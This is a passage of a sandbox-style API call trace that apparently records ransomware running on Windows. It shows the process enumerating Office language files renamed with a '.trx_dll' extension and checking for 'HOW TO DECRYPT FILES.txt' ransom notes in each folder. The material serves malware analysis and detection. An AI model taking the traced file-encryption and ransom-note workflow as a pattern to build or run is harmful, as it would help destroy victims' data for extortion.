lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.221] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.221] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.221] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.222] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="GRINTL32.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll" [0092.222] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x3d960, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1 [0092.222] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GRINTL32.REST.trx_dll") returned -1 [0092.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GRINTL32.REST.trx_dll") returned 1 [0092.222] lstrcmpiA (lpString1="", lpString2="GRINTL32.REST.trx_dll") returned -1 [0092.222] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.DLL.trx_dll") returned="GRINTL32.DLL.trx_dll" [0092.222] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.222] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.222] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.222] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.222] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="GRINTL32.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll" [0092.222] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.222] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.222] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.222] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.222] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x49f60, dwReserved0=0x18f51c, dwReserved1=0x4f0048, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1 [0092.222] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MAPIR.DLL.trx_dll") returned -1 [0092.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MAPIR.DLL.trx_dll") returned -1 [0092.223] lstrcmpiA (lpString1="", lpString2="MAPIR.DLL.trx_dll") returned -1 [0092.223] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\GRINTL32.REST.trx_dll") returned="GRINTL32.REST.trx_dll" [0092.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.223] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.223] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.223] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.223] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="MAPIR.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll" [0092.223] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa27f6800, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa27f6800, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1 [0092.223] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MOR6INT.REST.trx_dll") returned -1 [0092.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MOR6INT.REST.trx_dll") returned -1 [0092.223] lstrcmpiA (lpString1="", lpString2="MOR6INT.REST.trx_dll") returned -1 [0092.223] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MAPIR.DLL.trx_dll") returned="MAPIR.DLL.trx_dll" [0092.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.223] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.223] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.223] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.224] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="MOR6INT.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll" [0092.224] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x17960, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.DLL.trx_dll", cAlternateFileName="MSOINT~1.TRX")) returned 1 [0092.224] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.225] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOINTL.DLL.trx_dll") returned -1 [0092.225] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOINTL.DLL.trx_dll") returned -1 [0092.225] lstrcmpiA (lpString1="", lpString2="MSOINTL.DLL.trx_dll") returned -1 [0092.225] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MOR6INT.REST.trx_dll") returned="MOR6INT.REST.trx_dll" [0092.225] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.225] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.225] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.225] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.225] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="MSOINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" [0092.225] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1 [0092.225] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.225] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOINTL.REST.trx_dll") returned -1 [0092.225] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOINTL.REST.trx_dll") returned -1 [0092.225] lstrcmpiA (lpString1="", lpString2="MSOINTL.REST.trx_dll") returned -1 [0092.225] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned="MSOINTL.DLL.trx_dll" [0092.226] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.226] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.226] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.226] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.226] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="MSOINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll" [0092.226] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa381000, ftCreationTime.dwHighDateTime=0x1cac7fb, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xaa381000, ftLastWriteTime.dwHighDateTime=0x1cac7fb, nFileSizeHigh=0x0, nFileSizeLow=0xb360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.trx_dll", cAlternateFileName="OMSINT~1.TRX")) returned 1 [0092.226] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.226] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OMSINTL.DLL.trx_dll") returned -1 [0092.226] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OMSINTL.DLL.trx_dll") returned -1 [0092.226] lstrcmpiA (lpString1="", lpString2="OMSINTL.DLL.trx_dll") returned -1 [0092.226] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.REST.trx_dll") returned="MSOINTL.REST.trx_dll" [0092.226] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.226] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.226] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.226] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.227] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="OMSINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" [0092.227] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1 [0092.227] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.227] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ONINTL.DLL.trx_dll") returned -1 [0092.227] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ONINTL.DLL.trx_dll") returned -1 [0092.227] lstrcmpiA (lpString1="", lpString2="ONINTL.DLL.trx_dll") returned -1 [0092.227] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned="OMSINTL.DLL.trx_dll" [0092.227] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.227] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.227] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.227] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.227] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="ONINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll" [0092.228] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x3fb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.trx_dll", cAlternateFileName="ONINTL~2.TRX")) returned 1 [0092.228] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.228] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ONINTL.REST.trx_dll") returned -1 [0092.228] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ONINTL.REST.trx_dll") returned -1 [0092.228] lstrcmpiA (lpString1="", lpString2="ONINTL.REST.trx_dll") returned -1 [0092.228] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.DLL.trx_dll") returned="ONINTL.DLL.trx_dll" [0092.228] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.228] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.228] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.228] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) returned 0x2020 [0092.228] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="ONINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll" [0092.229] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab87a00, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1ab87a00, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x37560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.trx_dll", cAlternateFileName="OUTLLI~1.TRX")) returned 1 [0092.229] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.229] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OUTLLIBR.DLL.trx_dll") returned -1 [0092.229] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OUTLLIBR.DLL.trx_dll") returned -1 [0092.229] lstrcmpiA (lpString1="", lpString2="OUTLLIBR.DLL.trx_dll") returned -1 [0092.229] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ONINTL.REST.trx_dll") returned="ONINTL.REST.trx_dll" [0092.229] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" [0092.229] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\") returned="" [0092.229] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" [0092.229] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\how to decrypt files.txt")) 